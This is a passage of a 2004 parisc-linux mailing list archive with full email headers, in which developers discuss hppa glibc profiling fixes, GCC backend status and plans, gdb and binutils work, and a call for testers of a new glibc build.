descriptor code and was finally able to process all of ld's COPY relocs.
I have no idea if this was ever a problem for symbols other than
_r_debug. Gdb may benefit from this.

Profiling is fixed thanks to Randolph! And I just completed the required
changes to get sprof working for shared libraries. I can finally enable
*other* people to track down elusive performance problems in shared
library code.

Aside from that we are no longer in danger of losing glibc, a few more
patches and upstream will be synchronized! I think Ulrich might be
growing to accept me as the hppa maintainer :)

Cheers,
Carlos.


From - Thu Nov 08 21:30:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Probem Installing: slang(version).deb corrupt
Date: Mon, 5 Jan 2004 11:24:59 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20040105182459.GB9004@colo.lackof.org>
References: <000801c3d1de$08e053d0$0101a8c0@nitephyre>
	<3FF6A74F.3000108@tiscali.be>
	<001f01c3d24b$5e810600$0101a8c0@nitephyre>
	<20040104045551.GA16904@colo.lackof.org>
	<000a01c3d28b$91046fa0$0101a8c0@nitephyre>
	<3FF7FD86.8000208@tiscali.be>
	<000a01c3d2bd$65441b40$0101a8c0@nitephyre>
	<20040105052842.GB612@colo.lackof.org>
	<01d101c3d362$217cf940$0101a8c0@nitephyre>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623104 4298 80.91.229.3 (22 Nov 2014 02:25:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matt Lewis <nitephyre@iinet.net.au>
Original-X-From: grundler@lackof.org  Mon Jan  5 11:25:01 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id F0A8348BF
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jan 2004 11:25:00 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 01CED29803F; Mon,  5 Jan 2004 11:25:00 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 09179-10; Mon, 5 Jan 2004 11:24:59 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 583D729802D; Mon,  5 Jan 2004 11:24:59 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <01d101c3d362$217cf940$0101a8c0@nitephyre>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 05 Jan 2004 18:25:01 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20555

On Mon, Jan 05, 2004 at 06:01:30PM +1000, Matt Lewis wrote:
> ftp.parisc-linux.org/cd-images/testing/auto-isos/isos/palinux-2.4.21-pa6-20030718-netinst.iso

Matt,
that should be sufficient to do an install.


Thibaut/ESIEE,
Any chance someone could roll ISOs which uses 2.4.23+memremap+rtc fixes?
lamont is building a new 2.4.23 debian kernel you could use.

and I noticed:
	You are now connected to:
	Linux greg 2.4.18-pa45 #3 Mon Jul 1 10:45:09 CEST 2002 parisc GNU/Linux 

2.4.18 has lots of security holes.
I suggest you guys update those systems before bad things happen.

thanks,
grant


From - Thu Nov 08 21:30:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Status] hppa's userspace in 2004 (looking back)
Date: Mon, 5 Jan 2004 13:48:54 -0500 (EST)
Lines: 43
Approved: news@gmane.org
Message-ID: <200401051848.i05Imt6p005065__28884.7856027589$1416623105$gmane$org@hiauly1.hia.nrc.ca>
References: <20040105172146.GE23782@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623105 4299 80.91.229.3 (22 Nov 2014 02:25:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: dave@hiauly1.hia.nrc.ca  Mon Jan  5 11:49:01 2004
Return-Path: <dave@hiauly1.hia.nrc.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3A3E548A3
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jan 2004 11:49:00 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i05ImtIc005066; Mon, 5 Jan 2004 13:48:55 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i05Imt6p005065;
	Mon, 5 Jan 2004 13:48:55 -0500 (EST)
In-Reply-To: <20040105172146.GE23782@systemhalted> from "Carlos O'Donell" at
	Jan 5, 2004 12:21:46 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 05 Jan 2004 18:49:01 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20556

> ======
> GNU/cc
> ======
> 
> jda, you're the best person to talk about how gcc is doing. I can build
> kernels with 3.3.3, sadly with the anon cvs down it's messed up my usual
> workflow when it comes to testing.

The PA backend is in fairly reasonable shape.  Most of the remaining
PA bugs are limitations in the current implementation.  We are still
restricted in distance for floating point and branch on bit.  Frame
sizes on hppa64 are limited to < 2**36 bytes.  There is a bug which
causes arguments in const functions to get optimized away.  There is
a bug which affects constant elimination.  On the 64-bit port, constants
don't appear to be substituted/combined properly with if_then_else
insns.  As a result, some if statements don't get simplified.

2004 Projects:

1) Squash remaining bugs and limitations.
2) Finish libffi port.
3) Add PA specific stuff for java.
4) Develop TLS specification and GCC support.
5) Allow small range of floating point registers to be used
   for integer multiplication in kernel.  This should help
   64-bit kernel.
6) Thread support for ada.

As usual, I expect there will be many ups and downs in the process.
So, we won't get as far as we would like.

> jda, you mentioned that the libstdc++ testsuite could be examined in
> order to fix some of our failures.

Yes, these need to be looked at before 3.4 is released.  Some appear
to be related to long double support.  Just guessing, but I think the
rest are locale or glibc related.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:30:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [Status] hppa's userspace in 2004 (looking back)
Date: Mon, 5 Jan 2004 19:33:07 +0000
Lines: 65
Approved: news@gmane.org
Message-ID: <20040105193307.GA6982__7307.09612039409$1416623105$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <20040105172146.GE23782@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623105 4303 80.91.229.3 (22 Nov 2014 02:25:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: willy@www.linux.org.uk  Mon Jan  5 12:33:16 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 487AE4840
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jan 2004 12:33:16 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1AdaTL-0004aR-Fn; Mon, 05 Jan 2004 19:33:07 +0000
Content-Disposition: inline
In-Reply-To: <20040105172146.GE23782@systemhalted>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 05 Jan 2004 19:33:16 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20557

On Mon, Jan 05, 2004 at 12:21:46PM -0500, Carlos O'Donell wrote:
> A new year is here and it's time to look back and say, hey, we did a
> great job, hacked on many things and made parisc a better port!

Carlos, thank you for all the work you've put in over the last year
and more.  We would be significantly worse off without your efforts.
I'm sure many people who read this aren't aware just how much work you've
put in to make PA/Linux as good as it is -- and that's a compliment.

> ============
> GNU/binutils
> ============
> 
> Maybe someone can comment on this? Randolph was great enough to remove
> silly ltp relocations from static binaries. Without the loader running
> the ltp is never read from the DT_PLTGOT dynamic entries... so it just
> made sense to translate these into dp relative relocations. dlopen from
> static binaries still doesn't work, minor problem really.
> 
> I know that hppa is not really multi-arch? We have to have two separate
> binaries to do 32 and 64-bit work. Someone want a project? :)

I have an unfinished project to get all the remnants of (%sr0,xx) right
from 2-bit sr fields.  I think I can do quite a simplification here,
but I haven't got round to finishing it off.  I'll take another look
in February.

> ============
> GNU/debugger
> ============
> 
> Our gdb has no visibility upstream. I'm taking a hiatus from glibc to
> fix gdb. I volunteered for this like 2 years ago, but glibc took a long
> time to fix.

The bounty is currently set at one bottle of single malt (in the
10-20 year old range, not the 50 year old range ;-)

> ===============
> ELF64 Userspace
> ===============
> 
> 32-bit versus 64-bit signals are fixed. Along with ucontext and siginfo.
> A good project might be for someone to implement the set/get/make/swap
> context calls in userspace, takers are welcome! I will *not* be working
> ELF64 yet, without a working gdb it's quite hard to do *anything*. I
> just recently learned how to poke insns into binary files for
> debugging... it's not as much fun as you think ;)
> 
> I need to do similar signal hacking for ia64 or upstream may never
> accept my linux/kernel/* patches. Worst-case has us absorb the changes
> into our arch directory and nobody else benefits from the framework :(

There's certainly enthusiasm for these changes -- the more
32-bit-emulation code we can share, the better.  If you don't have time
for this, I can take this on.  But as I said, not till February.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:30:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [Testers wanted] New glibc with profiling fixed.
Date: Mon, 5 Jan 2004 14:48:09 -0500
Lines: 17
Approved: news@gmane.org
Message-ID: <20040105194809.GA9269__49153.0322040946$1416623105$gmane$org@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623105 4304 80.91.229.3 (22 Nov 2014 02:25:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: carlos@baldric.uwo.ca  Mon Jan  5 12:56:24 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 72DE74840
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jan 2004 12:56:24 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1Adahu-0002TK-00; Mon, 05 Jan 2004 14:48:10 -0500
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (85% Sync Ratio [=========.])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 05 Jan 2004 19:56:24 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20558


pa'ers,

glibc 2.3.2.ds1-10

- Added profiling patches (Thanks Randolph!)
- Rebuilt glibc.
- Did not modify changelog or bump version.

Testers wanted please, in particular to test if building with -pg works
on your system and you get the expected results.

If testing goes well, these patches are going into debian-glibc's tree.

Cheers,
Carlos.


From - Thu Nov 08 21:30:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Testers wanted] New glibc with profiling fixed.
Date: Mon, 5 Jan 2004 14:48:39 -0500
Lines: 21
Approved: news@gmane.org
Message-ID: <20040105194839.GB9269__43485.2254031741$1416623106$gmane$org@systemhalted>
References: <20040105194809.GA9269@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623106 4307 80.91.229.3 (22 Nov 2014 02:25:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:06 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: carlos@baldric.uwo.ca  Mon Jan  5 12:56:51 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6ACAE4840
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jan 2004 12:56:51 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AdaiO-0002Ti-00; Mon, 05 Jan 2004 14:48:40 -0500
Content-Disposition: inline
In-Reply-To: <20040105194809.GA9269@systemhalted>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (85% Sync Ratio [=========.])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 05 Jan 2004 19:56:51 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20559

On Mon, Jan 05, 2004 at 02:48:09PM -0500, Carlos O'Donell wrote:
> 
> pa'ers,
> 
> glibc 2.3.2.ds1-10
> 
> - Added profiling patches (Thanks Randolph!)
> - Rebuilt glibc.
> - Did not modify changelog or bump version.
> 
> Testers wanted please, in particular to test if building with -pg works
> on your system and you get the expected results.
> 
> If testing goes well, these patches are going into debian-glibc's tree.

Oh yeah...

http://www.parisc-linux.org/~carlos/glibc-2.3.2-debs-2004-01-05/

c.


From - Thu Nov 08 21:30:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Testers wanted] New glibc with profiling fixed.
Date: Mon, 5 Jan 2004 13:45:10 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <20040105204510.GD9004__11814.9237627678$1416623106$gmane$org@colo.lackof.org>
References: <20040105194809.GA9269@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623106 4313 80.91.229.3 (22 Nov 2014 02:25:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: grundler@lackof.org  Mon Jan  5 13:45:12 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 49A264840
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jan 2004 13:45:12 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 8389B29803F; Mon,  5 Jan 2004 13:45:11 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 10918-05; Mon, 5 Jan 2004 13:45:11 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id F404829802D; Mon,  5 Jan 2004 13:45:10 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20040105194809.GA9269@systemhalted>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 05 Jan 2004 20:45:12 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20560

On Mon, Jan 05, 2004 at 02:48:09PM -0500, Carlos O'Donell wrote:
> Testers wanted please, in particular to test if building with -pg works
> on your system and you get the expected results.

How much testing has this had?
I'm willing to try it on various boxes if I have an idea
of the risk involved.

thanks,
grant


From - Thu Nov 08 21:30:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [Status] hppa's userspace in 2004 (looking
	back)
Date: Mon, 5 Jan 2004 22:45:26 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <200401052245.26060.deller__3057.21506379104$1416623106$gmane$org@gmx.de>
References: <20040105172146.GE23782@systemhalted>
	<20040105193307.GA6982@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623106 4316 80.91.229.3 (22 Nov 2014 02:25:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:06 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: deller@gmx.de  Mon Jan  5 14:59:03 2004
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 3DDD94840
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jan 2004 14:59:03 -0700 (MST)
Original-Received: (qmail 18492 invoked by uid 65534); 5 Jan 2004 21:59:01 -0000
Original-Received: from pD9040E3B.dip.t-dialin.net (EHLO p100) (217.4.14.59)
	by mail.gmx.net (mp012) with SMTP; 05 Jan 2004 22:59:01 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.5.94
In-Reply-To: <20040105193307.GA6982@parcelfarce.linux.theplanet.co.uk>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 05 Jan 2004 21:59:04 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20561

On Monday 05 January 2004 20:33, Matthew Wilcox wrote:
> On Mon, Jan 05, 2004 at 12:21:46PM -0500, Carlos O'Donell wrote:
> > A new year is here and it's time to look back and say, hey, we did a
> > great job, hacked on many things and made parisc a better port!
> 
> Carlos, thank you for all the work you've put in over the last year
> and more.  We would be significantly worse off without your efforts.
> I'm sure many people who read this aren't aware just how much work you've
> put in to make PA/Linux as good as it is -- and that's a compliment.

Full ACK !
Thanks Carlos  and  JDA !

Helge


From - Thu Nov 08 21:30:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Testers wanted] New glibc with profiling fixed.
Date: Mon, 5 Jan 2004 17:00:28 -0500
Lines: 15
Approved: news@gmane.org
Message-ID: <20040105220028.GC9269__37029.2929969311$1416623107$gmane$org@systemhalted>
References: <20040105194809.GA9269@systemhalted>
	<20040105204510.GD9004@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623107 4319 80.91.229.3 (22 Nov 2014 02:25:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: carlos@baldric.uwo.ca  Mon Jan  5 15:08:41 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id CA75D4840
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jan 2004 15:08:41 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1Adclx-0002pl-00; Mon, 05 Jan 2004 17:00:29 -0500
Content-Disposition: inline
In-Reply-To: <20040105204510.GD9004@colo.lackof.org>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (85% Sync Ratio [=========.])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 05 Jan 2004 22:08:42 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20562

On Mon, Jan 05, 2004 at 01:45:10PM -0700, Grant Grundler wrote:
> On Mon, Jan 05, 2004 at 02:48:09PM -0500, Carlos O'Donell wrote:
> > Testers wanted please, in particular to test if building with -pg works
> > on your system and you get the expected results.
> 
> How much testing has this had?
> I'm willing to try it on various boxes if I have an idea
> of the risk involved.

Passes all the testsuites without regressions. Doesn't kill *my* system.
It's a *minor* change to the existing glibc provided by debian, purely
to fix the FTBS that lamont saw for "roy."

c.


From - Thu Nov 08 21:30:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Matt Lewis" <nitephyre@iinet.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Probem Installing: slang(version).deb corrupt
Date: Tue, 6 Jan 2004 09:52:21 +1000
Lines: 112
Approved: news@gmane.org
Message-ID: <001a01c3d3e6$f661a8c0$0101a8c0@nitephyre>
References: <000801c3d1de$08e053d0$0101a8c0@nitephyre>
	<3FF6A74F.3000108@tiscali.be>
	<001f01c3d24b$5e810600$0101a8c0@nitephyre>
	<20040104045551.GA16904@colo.lackof.org>
	<000a01c3d28b$91046fa0$0101a8c0@nitephyre>
	<3FF7FD86.8000208@tiscali.be>
	<000a01c3d2bd$65441b40$0101a8c0@nitephyre>
	<20040105052842.GB612@colo.lackof.org>
	<01d101c3d362$217cf940$0101a8c0@nitephyre>
	<20040105182459.GB9004@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
